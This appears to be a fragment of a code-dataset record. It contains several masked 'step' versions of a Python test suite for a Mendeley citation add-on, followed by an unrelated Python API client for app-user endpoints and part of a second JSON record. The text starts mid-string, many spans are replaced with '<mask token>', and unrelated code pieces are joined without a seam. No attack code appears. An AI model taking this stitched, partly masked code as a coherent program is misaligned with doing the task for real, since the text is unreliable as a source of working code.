'e843da05-8818-47c2-8c37-41eebfc4fe3f')\n self.node_addon.save()\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'documents'), body=mock_responses['documents'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list', mendeley_list_id='ROOT'), auth=\n non_authorizing_user.auth, expect_errors=True)\n assert_equal(res.status_code, 403)\n",
"step-3": "<mask token>\n\n\nclass MockFolder(object):\n <mask token>\n\n\nclass MendeleyViewsTestCase(OsfTestCase):\n\n def setUp(self):\n super(MendeleyViewsTestCase, self).setUp()\n self.account = MendeleyAccountFactory()\n self.user = AuthUserFactory(external_accounts=[self.account])\n self.account.display_name = self.user.fullname\n self.account.save()\n self.user_addon = MendeleyUserSettingsFactory(owner=self.user,\n external_account=self.account)\n self.project = ProjectFactory(creator=self.user)\n self.node_addon = MendeleyNodeSettingsFactory(owner=self.project)\n self.node_addon.set_auth(external_account=self.account, user=self.user)\n self.provider = MendeleyCitationsProvider()\n self.node = MockNode()\n self.node.addon = self.node_addon\n self.id_patcher = mock.patch(\n 'website.addons.mendeley.model.Mendeley.client_id')\n self.secret_patcher = mock.patch(\n 'website.addons.mendeley.model.Mendeley.client_secret')\n self.id_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.secret_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.id_patcher.start()\n self.secret_patcher.start()\n\n def tearDown(self):\n self.id_patcher.stop()\n self.secret_patcher.stop()\n\n @mock.patch('website.addons.mendeley.model.Mendeley.client',\n new_callable=mock.PropertyMock)\n def test_check_mendeley_credentials(self, mock_client):\n mock_client.side_effect = HTTPError(403)\n assert_false(self.provider.check_credentials(self.node_addon))\n mock_client.side_effect = HTTPError(402)\n with assert_raises(HTTPError):\n self.provider.check_credentials(self.node_addon)\n\n @mock.patch(\n 'website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials'\n )\n def test_serialize_settings_authorizer(self, mock_credentials):\n mock_credentials.return_value = True\n res = self.app.get(self.project.api_url_for('mendeley_get_config'),\n auth=self.user.auth)\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_true(result['userHasAuth'])\n assert_true(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch(\n 'website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials'\n )\n def test_serialize_settings_non_authorizer(self, mock_credentials):\n mock_credentials.return_value = True\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n res = self.app.get(self.project.api_url_for('mendeley_get_config'),\n auth=non_authorizing_user.auth)\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_false(result['userHasAuth'])\n assert_false(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch(\n 'website.addons.mendeley.provider.MendeleyCitationsProvider.check_credentials'\n )\n def test_set_auth(self, mock_credentials):\n mock_credentials.return_value = True\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_add_user_auth'), {'external_account_id': self.account\n ._id}, auth=self.user.auth)\n assert_equal(res.status_code, 200)\n assert_true(res.json['result']['userHasAuth'])\n assert_equal(self.node_addon.user_settings, self.user_addon)\n assert_equal(self.node_addon.external_account, self.account)\n\n def test_remove_user_auth(self):\n self.node_addon.set_auth(self.account, self.user)\n res = self.app.delete_json(self.project.api_url_for(\n 'mendeley_remove_user_auth'), {'external_account_id': self.\n account._id}, auth=self.user.auth)\n assert_equal(res.status_code, 200)\n self.node_addon.reload()\n assert_is_none(self.node_addon.user_settings)\n assert_is_none(self.node_addon.external_account)\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n self.node_addon.associated_user_settings = []\n self.node_addon.save()\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_set_config'), {'external_account_id': self.account.\n _id, 'external_list_id': 'list'}, auth=self.user.auth)\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon,\n user_settings=self.user_addon)\n expected = {'result': serializer.serialized_node_settings}\n assert_equal(res.json, expected)\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_not_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n user = AuthUserFactory()\n user.add_addon('mendeley')\n self.project.add_contributor(user)\n self.project.save()\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_set_config'), {'external_account_id': self.account.\n _id, 'external_list_id': 'list'}, auth=user.auth)\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon,\n user_settings=None)\n expected = {'result': serializer.serialized_node_settings}\n assert_equal(res.json, expected)\n\n def test_mendeley_widget_view_complete(self):\n assert_false(self.node_addon.complete)\n assert_equal(self.node_addon.mendeley_list_id, None)\n self.node_addon.set_target_folder('ROOT-ID', 'ROOT', auth=Auth(user\n =self.user))\n url = self.project.api_url_for('mendeley_widget')\n res = self.app.get(url, auth=self.user.auth).json\n assert_true(res['complete'])\n assert_equal(res['list_id'], 'ROOT-ID')\n\n def test_widget_view_incomplete(self):\n assert_false(self.node_addon.complete)\n assert_equal(self.node_addon.mendeley_list_id, None)\n url = self.project.api_url_for('mendeley_widget')\n res = self.app.get(url, auth=self.user.auth).json\n assert_false(res['complete'])\n assert_is_none(res['list_id'])\n\n @httpretty.activate\n def test_mendeley_citation_list_root(self):\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list'), auth=self.user.auth)\n root = res.json['contents'][0]\n assert_equal(root['kind'], 'folder')\n assert_equal(root['id'], 'ROOT')\n assert_equal(root['parent_list_id'], '__')\n\n @httpretty.activate\n def test_mendeley_citation_list_non_root(self):\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'documents'), body=mock_responses['documents'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list', mendeley_list_id='ROOT'), auth=self.\n user.auth)\n children = res.json['contents']\n assert_equal(len(children), 7)\n assert_equal(children[0]['kind'], 'folder')\n assert_equal(children[1]['kind'], 'file')\n assert_true(children[1].get('csl') is not None)\n\n @httpretty.activate\n def test_mendeley_citation_list_non_linked_or_child_non_authorizer(self):\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n self.node_addon.mendeley_list_id = (\n 'e843da05-8818-47c2-8c37-41eebfc4fe3f')\n self.node_addon.save()\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'documents'), body=mock_responses['documents'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list', mendeley_list_id='ROOT'), auth=\n non_authorizing_user.auth, expect_errors=True)\n assert_equal(res.status_code, 403)\n",
"step-4": "<mask token>\n\n\nclass MockNode(object):\n <mask token>\n\n @property\n def is_deleted(self):\n return False\n <mask token>\n\n def get_addon(self, name):\n if name == 'mendeley':\n return self.addon\n return None\n\n\nclass MockFolder(object):\n\n def __init__(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n\n\nclass MendeleyViewsTestCase(OsfTestCase):\n\n def setUp(self):\n super(MendeleyViewsTestCase, self).setUp()\n self.account = MendeleyAccountFactory()\n self.user = AuthUserFactory(external_accounts=[self.account])\n self.account.display_name = self.user.fullname\n self.account.save()\n self.user_addon = MendeleyUserSettingsFactory(owner=self.user,\n external_account=self.account)\n self.project = ProjectFactory(creator=self.user)\n self.node_addon = MendeleyNodeSettingsFactory(owner=self.project)\n self.node_addon.set_auth(external_account=self.account, user=self.user)\n self.provider = MendeleyCitationsProvider()\n self.node = MockNode()\n self.node.addon = self.node_addon\n self.id_patcher = mock.patch(\n 'website.addons.mendeley.model.Mendeley.client_id')\n self.secret_patcher = mock.patch(\n 'website.addons.mendeley.model.Mendeley.client_secret')\n self.id_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.secret_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.id_patcher.start()\n self.secret_patcher.start()\n\n def tearDown(self):\n self.id_patcher.stop()\n self.secret_patcher.stop()\n\n @mock.patch('website.addons.mendeley.model.Mendeley.client',\n new_callable=mock.PropertyMock)\n def test_check_mendeley_credentials(self, mock_client):\n mock_client.side_effect = HTTPError(403)\n assert_false(self.provider.check_credentials(self.node_addon))\n mock_client.side_effect = HTTPError(402)\n with assert_raises(HTTPError):\n self.provider.check_credentials(self.node_addon)\n\n @mock.patch(\n 'website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials'\n )\n def test_serialize_settings_authorizer(self, mock_credentials):\n mock_credentials.return_value = True\n res = self.app.get(self.project.api_url_for('mendeley_get_config'),\n auth=self.user.auth)\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_true(result['userHasAuth'])\n assert_true(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch(\n 'website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials'\n )\n def test_serialize_settings_non_authorizer(self, mock_credentials):\n mock_credentials.return_value = True\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n res = self.app.get(self.project.api_url_for('mendeley_get_config'),\n auth=non_authorizing_user.auth)\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_false(result['userHasAuth'])\n assert_false(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch(\n 'website.addons.mendeley.provider.MendeleyCitationsProvider.check_credentials'\n )\n def test_set_auth(self, mock_credentials):\n mock_credentials.return_value = True\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_add_user_auth'), {'external_account_id': self.account\n ._id}, auth=self.user.auth)\n assert_equal(res.status_code, 200)\n assert_true(res.json['result']['userHasAuth'])\n assert_equal(self.node_addon.user_settings, self.user_addon)\n assert_equal(self.node_addon.external_account, self.account)\n\n def test_remove_user_auth(self):\n self.node_addon.set_auth(self.account, self.user)\n res = self.app.delete_json(self.project.api_url_for(\n 'mendeley_remove_user_auth'), {'external_account_id': self.\n account._id}, auth=self.user.auth)\n assert_equal(res.status_code, 200)\n self.node_addon.reload()\n assert_is_none(self.node_addon.user_settings)\n assert_is_none(self.node_addon.external_account)\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n self.node_addon.associated_user_settings = []\n self.node_addon.save()\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_set_config'), {'external_account_id': self.account.\n _id, 'external_list_id': 'list'}, auth=self.user.auth)\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon,\n user_settings=self.user_addon)\n expected = {'result': serializer.serialized_node_settings}\n assert_equal(res.json, expected)\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_not_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n user = AuthUserFactory()\n user.add_addon('mendeley')\n self.project.add_contributor(user)\n self.project.save()\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_set_config'), {'external_account_id': self.account.\n _id, 'external_list_id': 'list'}, auth=user.auth)\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon,\n user_settings=None)\n expected = {'result': serializer.serialized_node_settings}\n assert_equal(res.json, expected)\n\n def test_mendeley_widget_view_complete(self):\n assert_false(self.node_addon.complete)\n assert_equal(self.node_addon.mendeley_list_id, None)\n self.node_addon.set_target_folder('ROOT-ID', 'ROOT', auth=Auth(user\n =self.user))\n url = self.project.api_url_for('mendeley_widget')\n res = self.app.get(url, auth=self.user.auth).json\n assert_true(res['complete'])\n assert_equal(res['list_id'], 'ROOT-ID')\n\n def test_widget_view_incomplete(self):\n assert_false(self.node_addon.complete)\n assert_equal(self.node_addon.mendeley_list_id, None)\n url = self.project.api_url_for('mendeley_widget')\n res = self.app.get(url, auth=self.user.auth).json\n assert_false(res['complete'])\n assert_is_none(res['list_id'])\n\n @httpretty.activate\n def test_mendeley_citation_list_root(self):\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list'), auth=self.user.auth)\n root = res.json['contents'][0]\n assert_equal(root['kind'], 'folder')\n assert_equal(root['id'], 'ROOT')\n assert_equal(root['parent_list_id'], '__')\n\n @httpretty.activate\n def test_mendeley_citation_list_non_root(self):\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'documents'), body=mock_responses['documents'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list', mendeley_list_id='ROOT'), auth=self.\n user.auth)\n children = res.json['contents']\n assert_equal(len(children), 7)\n assert_equal(children[0]['kind'], 'folder')\n assert_equal(children[1]['kind'], 'file')\n assert_true(children[1].get('csl') is not None)\n\n @httpretty.activate\n def test_mendeley_citation_list_non_linked_or_child_non_authorizer(self):\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n self.node_addon.mendeley_list_id = (\n 'e843da05-8818-47c2-8c37-41eebfc4fe3f')\n self.node_addon.save()\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'documents'), body=mock_responses['documents'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list', mendeley_list_id='ROOT'), auth=\n non_authorizing_user.auth, expect_errors=True)\n assert_equal(res.status_code, 403)\n",
"step-5": "# -*- coding: utf-8 -*-\nfrom nose.tools import * # noqa\n\nimport mock\nimport httpretty\n\nfrom tests.base import OsfTestCase\nfrom tests.factories import AuthUserFactory, ProjectFactory\n\nimport urlparse\n\nfrom framework.auth import Auth\n\nfrom website.addons.mendeley.tests.factories import (\n MendeleyAccountFactory,\n MendeleyUserSettingsFactory,\n MendeleyNodeSettingsFactory\n)\n\nfrom framework.exceptions import HTTPError\nfrom website.addons.mendeley.provider import MendeleyCitationsProvider\nfrom website.addons.mendeley.serializer import MendeleySerializer\n\nfrom utils import mock_responses\n\nAPI_URL = 'https://api.mendeley.com'\n\nclass MockNode(object):\n\n addon = None\n\n @property\n def is_deleted(self):\n return False\n\n @property\n def is_public(self):\n return True\n\n def get_addon(self, name):\n if name == 'mendeley':\n return self.addon\n return None\n\nclass MockFolder(object):\n def __init__(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n\nclass MendeleyViewsTestCase(OsfTestCase):\n\n def setUp(self):\n super(MendeleyViewsTestCase, self).setUp()\n self.account = MendeleyAccountFactory()\n self.user = AuthUserFactory(external_accounts=[self.account])\n self.account.display_name = self.user.fullname\n self.account.save()\n self.user_addon = MendeleyUserSettingsFactory(owner=self.user, external_account=self.account)\n self.project = ProjectFactory(creator=self.user)\n self.node_addon = MendeleyNodeSettingsFactory(owner=self.project)\n self.node_addon.set_auth(external_account=self.account, user=self.user)\n self.provider = MendeleyCitationsProvider()\n #self.user_addon.grant_oauth_access(self.node_addon, self.account, metadata={'lists': 'list'})\n self.node = MockNode()\n self.node.addon = self.node_addon\n self.id_patcher = mock.patch('website.addons.mendeley.model.Mendeley.client_id')\n self.secret_patcher = mock.patch('website.addons.mendeley.model.Mendeley.client_secret')\n self.id_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.secret_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.id_patcher.start()\n self.secret_patcher.start()\n\n def tearDown(self):\n self.id_patcher.stop()\n self.secret_patcher.stop()\n\n @mock.patch('website.addons.mendeley.model.Mendeley.client', new_callable=mock.PropertyMock)\n def test_check_mendeley_credentials(self, mock_client):\n mock_client.side_effect = HTTPError(403)\n assert_false(self.provider.check_credentials(self.node_addon))\n\n mock_client.side_effect = HTTPError(402)\n with assert_raises(HTTPError):\n self.provider.check_credentials(self.node_addon)\n\n @mock.patch('website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials')\n def test_serialize_settings_authorizer(self, mock_credentials):\n #\"\"\"dict: a serialized version of user-specific addon settings\"\"\"\n mock_credentials.return_value = True\n res = self.app.get(\n self.project.api_url_for('mendeley_get_config'),\n auth=self.user.auth,\n )\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_true(result['userHasAuth'])\n assert_true(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch('website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials')\n def test_serialize_settings_non_authorizer(self, mock_credentials):\n #\"\"\"dict: a serialized version of user-specific addon settings\"\"\"\n mock_credentials.return_value = True\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n res = self.app.get(\n self.project.api_url_for('mendeley_get_config'),\n auth=non_authorizing_user.auth,\n )\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_false(result['userHasAuth'])\n assert_false(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch('website.addons.mendeley.provider.MendeleyCitationsProvider.check_credentials')\n def test_set_auth(self, mock_credentials):\n\n mock_credentials.return_value = True\n res = self.app.put_json(\n self.project.api_url_for('mendeley_add_user_auth'),\n {\n 'external_account_id': self.account._id,\n },\n auth=self.user.auth,\n )\n\n assert_equal(\n res.status_code,\n 200\n )\n\n assert_true(res.json['result']['userHasAuth'])\n\n assert_equal(\n self.node_addon.user_settings,\n self.user_addon\n )\n assert_equal(\n self.node_addon.external_account,\n self.account\n )\n\n def test_remove_user_auth(self):\n self.node_addon.set_auth(self.account, self.user)\n\n res = self.app.delete_json(\n self.project.api_url_for('mendeley_remove_user_auth'),\n {\n 'external_account_id': self.account._id,\n },\n auth=self.user.auth,\n )\n\n assert_equal(\n res.status_code,\n 200\n )\n\n self.node_addon.reload()\n\n assert_is_none(self.node_addon.user_settings)\n assert_is_none(self.node_addon.external_account)\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n # Settings config updates node settings\n self.node_addon.associated_user_settings = []\n self.node_addon.save()\n res = self.app.put_json(\n self.project.api_url_for('mendeley_set_config'),\n {\n 'external_account_id': self.account._id,\n 'external_list_id': 'list',\n },\n auth=self.user.auth,\n )\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon, user_settings=self.user_addon)\n expected = {\n 'result': serializer.serialized_node_settings\n }\n assert_equal(res.json, expected)\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_not_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n user = AuthUserFactory()\n user.add_addon('mendeley')\n self.project.add_contributor(user)\n self.project.save()\n res = self.app.put_json(\n self.project.api_url_for('mendeley_set_config'),\n {\n 'external_account_id': self.account._id,\n 'external_list_id': 'list',\n },\n auth=user.auth,\n )\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon, user_settings=None)\n expected = {\n 'result': serializer.serialized_node_settings\n }\n assert_equal(res.json, expected)\n\n def test_mendeley_widget_view_complete(self):\n # JSON: everything a widget needs\n assert_false(self.node_addon.complete)\n assert_equal(self.node_addon.mendeley_list_id, None)\n self.node_addon.set_target_folder('ROOT-ID', 'ROOT', auth=Auth(user=self.user))\n url = self.project.api_url_for('mendeley_widget')\n res = self.app.get(url, auth=self.user.auth).json\n\n assert_true(res['complete'])\n assert_equal(res['list_id'], 'ROOT-ID')\n\n def test_widget_view_incomplete(self):\n # JSON: tell the widget when it hasn't been configured\n assert_false(self.node_addon.complete)\n assert_equal(self.node_addon.mendeley_list_id, None)\n url = self.project.api_url_for('mendeley_widget')\n res = self.app.get(url, auth=self.user.auth).json\n\n assert_false(res['complete'])\n assert_is_none(res['list_id'])\n\n @httpretty.activate\n def test_mendeley_citation_list_root(self):\n\n httpretty.register_uri(\n httpretty.GET,\n urlparse.urljoin(API_URL, 'folders'),\n body=mock_responses['folders'],\n content_type='application/json'\n )\n\n res = self.app.get(\n self.project.api_url_for('mendeley_citation_list'),\n auth=self.user.auth\n )\n root = res.json['contents'][0]\n assert_equal(root['kind'], 'folder')\n assert_equal(root['id'], 'ROOT')\n assert_equal(root['parent_list_id'], '__')\n\n @httpretty.activate\n def test_mendeley_citation_list_non_root(self):\n\n httpretty.register_uri(\n httpretty.GET,\n urlparse.urljoin(API_URL, 'folders'),\n body=mock_responses['folders'],\n content_type='application/json'\n )\n\n httpretty.register_uri(\n httpretty.GET,\n urlparse.urljoin(API_URL, 'documents'),\n body=mock_responses['documents'],\n content_type='application/json'\n )\n\n res = self.app.get(\n self.project.api_url_for('mendeley_citation_list', mendeley_list_id='ROOT'),\n auth=self.user.auth\n )\n\n children = res.json['contents']\n assert_equal(len(children), 7)\n assert_equal(children[0]['kind'], 'folder')\n assert_equal(children[1]['kind'], 'file')\n assert_true(children[1].get('csl') is not None)\n\n @httpretty.activate\n def test_mendeley_citation_list_non_linked_or_child_non_authorizer(self):\n\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n\n self.node_addon.mendeley_list_id = 'e843da05-8818-47c2-8c37-41eebfc4fe3f'\n self.node_addon.save()\n\n httpretty.register_uri(\n httpretty.GET,\n urlparse.urljoin(API_URL, 'folders'),\n body=mock_responses['folders'],\n content_type='application/json'\n )\n\n httpretty.register_uri(\n httpretty.GET,\n urlparse.urljoin(API_URL, 'documents'),\n body=mock_responses['documents'],\n content_type='application/json'\n )\n\n res = self.app.get(\n self.project.api_url_for('mendeley_citation_list', mendeley_list_id='ROOT'),\n auth=non_authorizing_user.auth,\n expect_errors=True\n )\n assert_equal(res.status_code, 403)\n",
"step-ids": [
11,
14,
16,
20,
25
]
}
|
[
11,
14,
16,
20,
25
] |
# -*- coding: utf-8 -*-
from qav5.http.client import BaseClient
from qav5.http.helper import api
from qav5.utils import Bunch, low_case_to_camelcase
class AppusersClient(BaseClient):
def __init__(self, base_url, access_token=None, **kwargs):
super().__init__(base_url, kwargs)
self.access_token = access_token
self.req_kwargs.update({"headers": {"Authorization": self.access_token}})
self.interceptor = lambda r, j: Bunch(j)
@api(rule="/app_users/app_order_create_info", method="get", is_json_req=True)
def app_order_create_info(self,order_id:int=None):
"""
订单创建个人账号页信息
:return:
"""
def contract_upload_for_user(self, sub_firm_id, contract_file):
"""
单个创建账号的合同文件
:param contract_file: 合同文件
:param sub_firm_id: 公司id
:return:
"""
return self._call_api("/app_users/contract_upload", method='POST',
req_kwargs=dict(data={"sub_firm_id": sub_firm_id},
files=dict(contract_file=open(contract_file, 'rb'))),
disable_log=True)
@api(rule="/app_users/setting", is_json_req=True)
def app_users_setting(self,id):
"""
账号编辑设置
:param id: 个人账号id
:return:
"""
@api(rule="/app_users/set_allot_admin", is_json_req=True, remove_null=True)
def set_allot_admin(self, app_user_ids, allot_admin):
"""
设置分配管理员
:param app_user_ids:个人账号IDs 的数组
:param allot_admin:设置分配管理员,(0:否|1:是)
:return:
"""
pass
|
normal
|
{
"blob_id": "1af6bda6eb4e7a46b22379180ea82e78c67ce771",
"index": 4269,
"step-1": "<mask token>\n\n\nclass AppusersClient(BaseClient):\n <mask token>\n\n @api(rule='/app_users/app_order_create_info', method='get', is_json_req\n =True)\n def app_order_create_info(self, order_id: int=None):\n \"\"\"\n 订单创建个人账号页信息\n :return:\n \"\"\"\n <mask token>\n <mask token>\n\n @api(rule='/app_users/set_allot_admin', is_json_req=True, remove_null=True)\n def set_allot_admin(self, app_user_ids, allot_admin):\n \"\"\"\n 设置分配管理员\n :param app_user_ids:个人账号IDs 的数组\n :param allot_admin:设置分配管理员,(0:否|1:是)\n :return:\n \"\"\"\n pass\n",
"step-2": "<mask token>\n\n\nclass AppusersClient(BaseClient):\n\n def __init__(self, base_url, access_token=None, **kwargs):\n super().__init__(base_url, kwargs)\n self.access_token = access_token\n self.req_kwargs.update({'headers': {'Authorization': self.\n access_token}})\n self.interceptor = lambda r, j: Bunch(j)\n\n @api(rule='/app_users/app_order_create_info', method='get', is_json_req\n =True)\n def app_order_create_info(self, order_id: int=None):\n \"\"\"\n 订单创建个人账号页信息\n :return:\n \"\"\"\n <mask token>\n <mask token>\n\n @api(rule='/app_users/set_allot_admin', is_json_req=True, remove_null=True)\n def set_allot_admin(self, app_user_ids, allot_admin):\n \"\"\"\n 设置分配管理员\n :param app_user_ids:个人账号IDs 的数组\n :param allot_admin:设置分配管理员,(0:否|1:是)\n :return:\n \"\"\"\n pass\n",
"step-3": "<mask token>\n\n\nclass AppusersClient(BaseClient):\n\n def __init__(self, base_url, access_token=None, **kwargs):\n super().__init__(base_url, kwargs)\n self.access_token = access_token\n self.req_kwargs.update({'headers': {'Authorization': self.\n access_token}})\n self.interceptor = lambda r, j: Bunch(j)\n\n @api(rule='/app_users/app_order_create_info', method='get', is_json_req\n =True)\n def app_order_create_info(self, order_id: int=None):\n \"\"\"\n 订单创建个人账号页信息\n :return:\n \"\"\"\n\n def contract_upload_for_user(self, sub_firm_id, contract_file):\n \"\"\"\n 单个创建账号的合同文件\n :param contract_file: 合同文件\n :param sub_firm_id: 公司id\n :return:\n \"\"\"\n return self._call_api('/app_users/contract_upload', method='POST',\n req_kwargs=dict(data={'sub_firm_id': sub_firm_id}, files=dict(\n contract_file=open(contract_file, 'rb'))), disable_log=True)\n\n @api(rule='/app_users/setting', is_json_req=True)\n def app_users_setting(self, id):\n \"\"\"\n 账号编辑设置\n :param id: 个人账号id\n :return:\n \"\"\"\n\n @api(rule='/app_users/set_allot_admin', is_json_req=True, remove_null=True)\n def set_allot_admin(self, app_user_ids, allot_admin):\n \"\"\"\n 设置分配管理员\n :param app_user_ids:个人账号IDs 的数组\n :param allot_admin:设置分配管理员,(0:否|1:是)\n :return:\n \"\"\"\n pass\n",
